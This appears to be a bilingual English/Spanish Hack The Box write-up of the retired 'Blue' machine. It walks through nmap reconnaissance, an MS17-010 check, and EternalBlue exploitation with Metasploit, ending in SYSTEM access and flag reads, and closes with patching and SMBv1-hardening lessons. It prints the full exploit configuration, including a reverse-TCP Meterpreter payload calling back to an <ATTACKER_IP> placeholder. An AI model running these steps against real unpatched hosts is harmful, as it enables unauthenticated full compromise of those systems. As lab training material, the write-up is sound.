Blue
Executive summary — Blue is the textbook Easy Windows box built entirely around EternalBlue: a Windows 7 SP1 host with legacy SMBv1 exposed and unpatched against MS17-010 (CVE-2017-0143). The bug lives in the SMB kernel driver, so a working exploit doesn't give a shell as some low-privilege user — it gives arbitrary code execution inside the kernel itself, which surfaces as
SYSTEMfrom the very first second. One hop, no privilege escalation: SMB → SYSTEM.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.3.72 |
Attack map
[135/139/445] Windows 7 SP1 — SMBv1 exposed, signing disabled
│ nmap NSE: smb-vuln-ms17-010 → confirmed vulnerable
▼
[445] SMBv1 kernel driver (srv.sys)
│ MS17-010 / CVE-2017-0143 (EternalBlue) — crafted Trans2 request,
│ kernel pool overflow, unauthenticated RCE
▼
[SYSTEM] NT AUTHORITY\SYSTEM (direct, no privesc — code runs in ring 0)
1. Reconnaissance
Standard opening: a full TCP scan with version and default-script detection.
nmap -sC -sV -Pn 10.129.3.72
135/tcp msrpc
139/tcp netbios-ssn
445/tcp microsoft-ds
OS: Windows 7 Professional SP1 · SMB signing: disabled
The three open ports are the classic Windows file-sharing fingerprint: 135 is the RPC endpoint mapper, 139 is NetBIOS Session Service (SMB over NetBIOS), and 445 is SMB running directly over TCP/IP — the one that actually matters here. Nmap's OS detection also flags the host as Windows 7 Professional SP1, and its SMB script reports signing disabled.
Analysis: an unpatched Windows 7 SP1 with 445 exposed and signing off is about as loud an MS17-010 flag as HTB gets — this combination has been the single most common "Easy Windows" pattern since EternalBlue went public. SMB signing disabled isn't required for this particular exploit, but it's worth noting on its own: without it, an attacker in a position to intercept traffic could relay or tamper with SMB sessions (SMB relay attacks) — a second, independent weakness layered on top of the same protocol.
Resumen ejecutivo — Blue es la máquina Windows Easy de libro construida enteramente alrededor de EternalBlue: un Windows 7 SP1 con SMBv1 heredado, expuesto y sin parchear frente a MS17-010 (CVE-2017-0143). El fallo vive en el driver de SMB en modo kernel, así que un exploit que funcione no da una shell como un usuario de bajos privilegios — da ejecución de código arbitraria dentro del propio kernel, lo que se traduce en
SYSTEMdesde el primer segundo. Un solo salto, sin escalada de privilegios: SMB → SYSTEM.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.3.72 |
Mapa del ataque
[135/139/445] Windows 7 SP1 — SMBv1 expuesto, signing desactivado
│ nmap NSE: smb-vuln-ms17-010 → confirmado vulnerable
▼
[445] Driver SMBv1 en kernel (srv.sys)
│ MS17-010 / CVE-2017-0143 (EternalBlue) — petición Trans2 manipulada,
│ desbordamiento en pool del kernel, RCE sin autenticación
▼
[SYSTEM] NT AUTHORITY\SYSTEM (directo, sin escalada — el código corre en ring 0)
1. Reconocimiento
Apertura estándar: escaneo TCP completo con detección de versiones y scripts por defecto.
nmap -sC -sV -Pn 10.129.3.72
135/tcp msrpc
139/tcp netbios-ssn
445/tcp microsoft-ds
OS: Windows 7 Professional SP1 · SMB signing: disabled
Los tres puertos abiertos son la huella clásica de compartición de archivos en Windows: el 135 es el RPC endpoint mapper, el 139 es NetBIOS Session Service (SMB sobre NetBIOS), y el 445 es SMB directamente sobre TCP/IP — el que realmente importa aquí. La detección de SO de nmap también marca el host como Windows 7 Professional SP1, y su script de SMB reporta signing desactivado.
Análisis: un Windows 7 SP1 sin parchear, con el 445 expuesto y el signing apagado, es de las señales más claras de MS17-010 que se pueden ver en HTB — esta combinación ha sido el patrón "Easy Windows" más repetido desde que EternalBlue se hizo público. El signing desactivado no es necesario para este exploit en concreto, pero merece mención aparte: sin él, un atacante en posición de interceptar tráfico podría hacer relay o manipular sesiones SMB (ataques de SMB relay) — una segunda debilidad, independiente, sobre el mismo protocolo.
2. Confirm the vulnerability
Before touching Metasploit, it's good practice to verify the finding with a non-destructive check. Nmap ships a dedicated NSE script that probes the target's SMB stack and reads back its patch level, without ever triggering the kernel corruption:
nmap --script smb-vuln-ms17-010 -p445 10.129.3.72
VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
CVE-2017-0143
This confirms the box specifically as unpatched against CVE-2017-0143 — one of the vulnerabilities bundled under the same MS17-010 security bulletin (which, together, spans CVE-2017-0143 through 0148, all fixed by the same March 2017 Microsoft patch). Running the checker first matters: firing an exploit blind against a host that turns out to already be patched, or that's running a slightly different SMB build, risks nothing more than a crashed service — but there's no reason to take that risk when a safe check exists.
3. What is EternalBlue (MS17-010)
Historical context. Microsoft shipped the fix for this vulnerability family in March 2017 (MS17-010), ahead of most of the world knowing it existed. A month later, in April 2017, the exploit tooling — developed by the NSA's Equation Group — was leaked publicly by the group known as Shadow Brokers. Weeks after that, in May 2017, the same exploit became the propagation engine of WannaCry, and a month later, in June 2017, of NotPetya — two of the most destructive ransomware/wiper outbreaks in history, both spreading by scanning for and hitting exactly this: unpatched SMBv1 on port 445.
Technical mechanism. The bug lives in SMBv1, the original (and long deprecated) version of Windows' file-sharing protocol, specifically in how the kernel-mode driver handling it (srv.sys) parses certain Trans2 secondary requests. A specially crafted packet causes a buffer/pool overflow in kernel memory, corrupting adjacent kernel structures in a controlled enough way that an attacker can redirect execution to their own shellcode — all of this without any authentication, since SMB negotiation happens before any credential is presented.
Why this equals SYSTEM and not just "a shell": the corrupted code path runs inside the Windows kernel (ring 0), not inside a user-mode service. There is no user account involved to be "low privilege" — the exploit's payload is handed the same execution context as the kernel itself, which is why the resulting session is
NT AUTHORITY\SYSTEMfrom the first packet, with nothing to escalate afterward.
The NSA's own toolkit paired this exploit with a separate implant called DoublePulsar, a kernel-mode backdoor used for stealthier, persistent post-exploitation once the initial code execution was achieved. That implant isn't part of this box's exploitation chain — the Metasploit module used here goes straight to a Meterpreter session — but it's worth knowing by name, since it's the other half of the leak that made EternalBlue famous.
4. Exploitation (Metasploit)
With the vulnerability confirmed, Metasploit has a ready-made module for it:
msfconsole
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
Configuration is short but every value matters:
set RHOSTS 10.129.3.72
set LHOST <ATTACKER_IP>
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp
show options
run
[*] Sending stage...
[*] Meterpreter session 1 opened
Why the x64 payload matters: the target is a 64-bit build of Windows 7. Picking the wrong architecture (a 32-bit payload against a 64-bit kernel, or vice versa) doesn't just fail quietly — the shellcode gets executed against the wrong memory layout, which typically crashes the SMB service (or the box) instead of returning a session.
show optionsbeforerunis the cheap way to catch a wrong RHOSTS/LHOST/payload before it costs you a service restart.
Internally, the module grooms the kernel's non-paged pool with a sequence of crafted SMB requests until memory is laid out predictably, then sends the Trans2 request that triggers the overflow and redirects execution into the supplied shellcode — which stages the full Meterpreter payload back over the reverse TCP connection.
Alternative, without Metasploit: the same vulnerability can be reached manually with public standalone PoCs (e.g. the AutoBlue-py exploit chain, or Impacket-based checkers) that replicate the same crafted-packet sequence without a Metasploit dependency. Not used in this run, but worth knowing the exploit isn't Metasploit-exclusive — it's a wire-level bug, and the framework is just one convenient delivery mechanism for it.
5. Access: SYSTEM directly
getuid
NT AUTHORITY\SYSTEM
No escalation needed. NT AUTHORITY\SYSTEM is the highest-privileged account on a Windows host — above even a local Administrator, with unrestricted access to every file, every process's memory (including LSASS), and the kernel itself. Because EternalBlue's payload executes in kernel context from the moment it lands, there's no intermediate low-privilege account to escalate from: the very first command run in the resulting session already has maximum privilege.
6. Flags
With a SYSTEM shell, both flags are a straight read — no further pivoting or permission juggling required:
cat C:\Users\haris\Desktop\user.txt
cat C:\Users\Administrator\Desktop\root.txt
The layout is the usual one for HTB Windows boxes: the user flag sits on a regular account's Desktop (haris), and the root-equivalent flag on the Administrator's. With SYSTEM already in hand, both are just filesystem reads. System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold + Root | SMBv1 kernel driver (Windows 7 SP1, port 445) | MS17-010 / CVE-2017-0143 (EternalBlue) | Unauthenticated remote code execution in kernel context → immediate NT AUTHORITY\SYSTEM |
Lessons learned
- Disable SMBv1 entirely. It's a dead, unsafe-by-design protocol (
Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol/Set-SmbServerConfiguration -EnableSMB1Protocol $false); modern Windows doesn't need it and shouldn't have it installed. - Patch on a real cadence. MS17-010 has had a fix since March 2017 — the fact that WannaCry still worked two months later, and that boxes like this still exist as "classic" Easy machines, is entirely a patch-management failure, not a novel attack.
- Kernel-level bugs give the maximum privilege, always. There's no such thing as "escalating" from a kernel RCE — you land at the ceiling. Any bug that touches ring 0 should be treated as a full-compromise event, not "just RCE."
- Segment flat networks. EternalBlue's worm behavior (scan 445 across the subnet, repeat) is exactly what let WannaCry and NotPetya cross entire corporate networks in hours. VLANs and SMB-egress filtering between segments would have stopped the spread even on unpatched hosts.
- Treat SMB signing as a baseline, not an extra. It was disabled here independently of the RCE bug — a separate relay/tamper risk that a single GPO setting closes.
- Vulnerability scanning catches this for free. MS17-010 is a first-tier signature in Nessus, OpenVAS, and the same nmap NSE script used above — there's no excuse for an internet-facing (or even internal) host to sit unpatched against it for years.
2. Confirmar la vulnerabilidad
Antes de tocar Metasploit conviene verificar el hallazgo con una comprobación no destructiva. Nmap trae un script NSE dedicado que sondea la pila SMB del objetivo y lee su nivel de parcheo, sin disparar en ningún momento la corrupción del kernel:
nmap --script smb-vuln-ms17-010 -p445 10.129.3.72
VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
CVE-2017-0143
Esto confirma que la máquina está sin parchear específicamente frente a CVE-2017-0143 — una de las vulnerabilidades agrupadas bajo el mismo boletín de seguridad MS17-010 (que en conjunto abarca de CVE-2017-0143 a 0148, todas corregidas por el mismo parche de Microsoft de marzo de 2017). Lanzar antes el script de comprobación importa: disparar un exploit a ciegas contra un host que resulta estar ya parcheado, o que corre una build de SMB ligeramente distinta, no arriesga más que tumbar el servicio — pero no hay motivo para correr ese riesgo cuando existe una comprobación segura.
3. Qué es EternalBlue (MS17-010)
Contexto histórico. Microsoft publicó el parche para esta familia de vulnerabilidades en marzo de 2017 (MS17-010), antes de que la mayoría del mundo supiera que existía. Un mes después, en abril de 2017, las herramientas del exploit — desarrolladas por el Equation Group de la NSA — fueron filtradas públicamente por el grupo conocido como Shadow Brokers. Semanas más tarde, en mayo de 2017, ese mismo exploit se convirtió en el motor de propagación de WannaCry, y un mes después, en junio de 2017, del NotPetya — dos de los brotes de ransomware/wiper más destructivos de la historia, ambos propagándose al escanear y golpear exactamente esto: SMBv1 sin parchear en el puerto 445.
Mecanismo técnico. El fallo vive en SMBv1, la versión original (y hace tiempo deprecada) del protocolo de compartición de archivos de Windows, en concreto en cómo el driver en modo kernel que lo gestiona (srv.sys) procesa ciertas peticiones secundarias Trans2. Un paquete manipulado a propósito provoca un desbordamiento de buffer/pool en memoria del kernel, corrompiendo estructuras adyacentes del kernel de forma lo bastante controlada como para que un atacante pueda redirigir la ejecución a su propio shellcode — todo ello sin autenticación alguna, ya que la negociación SMB ocurre antes de presentar ninguna credencial.
Por qué esto es SYSTEM y no "solo una shell": el camino de código corrompido se ejecuta dentro del kernel de Windows (ring 0), no dentro de un servicio en modo usuario. No hay ninguna cuenta de usuario de por medio que sea "de bajos privilegios" — el payload del exploit recibe el mismo contexto de ejecución que el propio kernel, por eso la sesión resultante es
NT AUTHORITY\SYSTEMdesde el primer paquete, sin nada que escalar después.
El propio kit de herramientas de la NSA combinaba este exploit con un implante independiente llamado DoublePulsar, una puerta trasera en modo kernel usada para una post-explotación más sigilosa y persistente una vez conseguida la ejecución inicial. Ese implante no forma parte de la cadena de explotación de esta máquina — el módulo de Metasploit usado aquí va directo a una sesión Meterpreter — pero merece conocerse por nombre, ya que es la otra mitad de la filtración que hizo famoso a EternalBlue.
4. Explotación (Metasploit)
Con la vulnerabilidad confirmada, Metasploit tiene un módulo ya preparado para ella:
msfconsole
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
La configuración es breve, pero cada valor importa:
set RHOSTS 10.129.3.72
set LHOST <ATTACKER_IP>
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp
show options
run
[*] Sending stage...
[*] Meterpreter session 1 opened
Por qué importa el payload x64: el objetivo es una build de 64 bits de Windows 7. Elegir la arquitectura equivocada (un payload de 32 bits contra un kernel de 64, o al revés) no falla en silencio sin más — el shellcode se ejecuta contra un layout de memoria incorrecto, lo que típicamente crashea el servicio SMB (o la máquina entera) en lugar de devolver una sesión. Hacer
show optionsantes derunes la forma barata de detectar un RHOSTS/LHOST/payload equivocado antes de que cueste un reinicio del servicio.
Internamente, el módulo prepara ("groom") el pool no paginado del kernel con una secuencia de peticiones SMB manipuladas hasta dejar la memoria en un layout predecible, y entonces envía la petición Trans2 que dispara el desbordamiento y redirige la ejecución al shellcode suministrado — que a su vez monta el payload completo de Meterpreter de vuelta por la conexión TCP inversa.
Alternativa, sin Metasploit: la misma vulnerabilidad se puede explotar manualmente con PoCs públicos independientes (por ejemplo la cadena de exploit AutoBlue-py, o comprobadores basados en Impacket) que replican la misma secuencia de paquetes manipulados sin depender de Metasploit. No se ha usado en esta resolución, pero conviene saber que el exploit no es exclusivo del framework — es un fallo a nivel de protocolo, y Metasploit es solo un mecanismo de entrega cómodo para él.
5. Acceso: SYSTEM directo
getuid
NT AUTHORITY\SYSTEM
No hace falta escalar. NT AUTHORITY\SYSTEM es la cuenta de mayor privilegio en un host Windows — por encima incluso de un Administrator local, con acceso sin restricciones a todos los ficheros, a la memoria de cualquier proceso (incluido LSASS) y al propio kernel. Como el payload de EternalBlue se ejecuta en contexto de kernel desde el momento en que aterriza, no hay ninguna cuenta intermedia de bajos privilegios desde la que escalar: el primer comando que se ejecuta en la sesión resultante ya tiene el privilegio máximo.
6. Flags
Con una shell SYSTEM, ambas flags son una simple lectura — sin necesidad de más pivoting ni malabares de permisos:
cat C:\Users\haris\Desktop\user.txt
cat C:\Users\Administrator\Desktop\root.txt
La disposición es la habitual en las máquinas Windows de HTB: la flag de usuario está en el Desktop de una cuenta normal (haris), y la flag equivalente a root en la del Administrator. Con SYSTEM ya en mano, ambas son solo lecturas de fichero. Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold + Root | Driver SMBv1 en kernel (Windows 7 SP1, puerto 445) | MS17-010 / CVE-2017-0143 (EternalBlue) | Ejecución remota de código no autenticada en contexto de kernel → NT AUTHORITY\SYSTEM inmediato |
Lecciones aprendidas
- Desactiva SMBv1 por completo. Es un protocolo muerto e inseguro por diseño (
Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol/Set-SmbServerConfiguration -EnableSMB1Protocol $false); el Windows moderno no lo necesita y no debería tenerlo instalado. - Parchea con una cadencia real. MS17-010 tiene parche desde marzo de 2017 — que WannaCry siguiera funcionando dos meses después, y que máquinas como esta sigan existiendo como "clásicos" Easy, es un fallo de gestión de parches, no un ataque novedoso.
- Los fallos a nivel de kernel dan siempre el privilegio máximo. No existe eso de "escalar" desde un RCE en kernel — aterrizas directamente en el techo. Cualquier fallo que toque ring 0 debe tratarse como un compromiso total, no como "solo RCE".
- Segmenta las redes planas. El comportamiento tipo gusano de EternalBlue (escanear el 445 por toda la subred, repetir) es exactamente lo que permitió a WannaCry y NotPetya cruzar redes corporativas enteras en horas. VLANs y filtrado de salida SMB entre segmentos habrían frenado la propagación incluso en hosts sin parchear.
- Trata el SMB signing como base, no como extra. Aquí estaba desactivado de forma independiente al fallo de RCE — un riesgo de relay/manipulación aparte que se cierra con un único ajuste de GPO.
- El escaneo de vulnerabilidades detecta esto gratis. MS17-010 es una firma de primer nivel en Nessus, OpenVAS y el mismo script NSE de nmap usado arriba — no hay excusa para que un host expuesto a internet (o incluso interno) lleve años sin parchear frente a esto.